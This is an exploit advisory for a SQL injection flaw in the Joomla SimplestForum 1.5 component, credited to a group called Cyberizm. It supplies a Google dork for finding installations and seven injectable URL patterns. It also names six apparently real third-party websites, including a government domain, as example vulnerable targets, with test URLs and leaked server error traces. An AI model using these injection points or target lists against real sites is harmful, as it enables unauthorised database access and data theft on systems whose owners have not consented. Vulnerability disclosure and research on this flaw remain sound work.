Joomla SimplestForum Components 1.5 SQL Injection

####################################################################

# Exploit Title : Joomla SimplestForum Components 1.5 SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 31/01/2019
# Vendor Homepage : joomlacode.org ~ simplestforum.org
# Software Download Link : joomfans.com/joomla-components/simplest-forum-multilanguage-joomla-15.html
# Software Information Link : joomlacode.org/gf/project/simplestforum/
# Software Version : 1.5
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : inurl:''/index.php?option=com_simplestforum''
intext:Designed by Methealth Administrators Namibia.
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
# Reference Link : cxsecurity.com/issue/WLB-2019010297
packetstormsecurity.com/files/151435/Joomla-SimplestForum-1.5-SQL-Injection.html

####################################################################

# Description about Software :
***************************
Simplest Forum Joomla! is simplest and easiest to use forum component. It

provides a super basic interface for both users and administrators while

still being useful. Simplest Forum is Joomla! 1.5's first fully native forum.

####################################################################

# Impact :
***********

* An attacker might be able inject and/or alter existing

SQL statements which would influence the database exchange.

* SQL injection vulnerability in the Joomla SimplestForum Components 1.5 because,

it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

* On the other hand, this component simplestforum for Joomla! allows

remote attackers to execute arbitrary SQL commands

via the " view= forumId= Itemid= limitstart= parentId= "

with different parameters action to index.php.

* Exploiting this issue could allow an attacker to compromise the application, read,

access or modify data, or exploit latent vulnerabilities in the underlying database.

If the webserver is misconfigured, read & write access to the filesystem may be possible.

####################################################################

# SQL Injection Exploit :
**********************

/index.php?option=com_simplestforum&view=[SQL Injection]

/index.php?option=com_simplestforum&view=postlist&forumId=[SQL Injection]

/index.php?option=com_simplestforum&view=forumlist&Itemid=[SQL Injection]

/index.php?option=com_simplestforum&view=postlist&forumId=[ID-NUMBER]&Itemid=[SQL Injection]

/index.php?option=com_simplestforum&view=postlist&forumId=[ID-NUMBER]&&limitstart=[SQL Injection]

/index.php?option=com_simplestforum&view=postlist&topic=true&forumId=[ID-NUMBER]&parentId=[SQL Injection]

/index.php?option=com_simplestforum&view=postlist&forumId=[ID-NUMBER]&parentId=[ID-NUMBER]&topic=true&Itemid=[SQL Injection]

####################################################################

# Example Vulnerable Sites :
*************************

[+] coitama.es/index.php?option=com_simplestforum&view=forumlist&Itemid=18%27

[+] healthsmartcard.com.na/index.php?option=com_simplestforum&view=postlist&forumId=1&Itemid=57%27

[+] ekszi.hu/index.php?option=com_simplestforum&view=postlist&forumId=4&Itemid=63%27

[+] ashorooq.net/index.php?option=com_simplestforum&view=postlist&forumId=22&limitstart=30%27

[+] talingchan-bpi.go.th/index.php?option=com_simplestforum&view=postlist&topic=true&forumId=1&parentId=1%27

[+] bls-pleven.org/index.php?option=com_simplestforum&view=postlist&forumId=1%27

####################################################################

# Example SQL Database Error :
****************************

Warning: Parameter 1 to AmbitionalityHelperTree::_calculateDepth() expected
to be a reference, value given in G:\healthsmartcard.com.na
\components\com_simplestforum\helpers\tree.php on line 72

Fatal error: Uncaught exception 'Exception' with message
'Invalid forum supplied for verifyPermissions' in /web/ekszi/ekszi.hu/components
/com_simplestforum/helpers/forum.php:110 Stack trace: #0
/web/ekszi/ekszi.hu/components/com_simplestforum/models/postlist.php
(158): ForumHelper->verifyPermissions('view', '4') #1
/web/ekszi/ekszi.hu/components/com_simplestforum/views/postlist
/view.html.php(59): SimplestForumModelPostList->getData() #2
/web/ekszi/ekszi.hu/libraries/joomla/application/component/controller.php
(310): SimplestForumViewPostList->display() #3 /web/ekszi/ekszi.hu
/components/com_simplestforum/controller.php(41): JController->
display(NULL) #4 /web/ekszi/ekszi.hu/libraries/joomla/application
/component/controller.php(236): SimplestForumController->display()
#5 /web/ekszi/ekszi.hu/components/com_simplestforum/simplestforum.php(31):
 JController->execute(NULL) #6 /web/ekszi/ekszi.hu/libraries
/joomla/application/component/helper.php(162): require_once
('/web/ekszi/eksz...') #7 /web/ekszi/ekszi.hu/includes/application.php
 in /web/ekszi/ekszi.hu/components/com_simplestforum/helpers/forum.php on line 110

####################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

####################################################################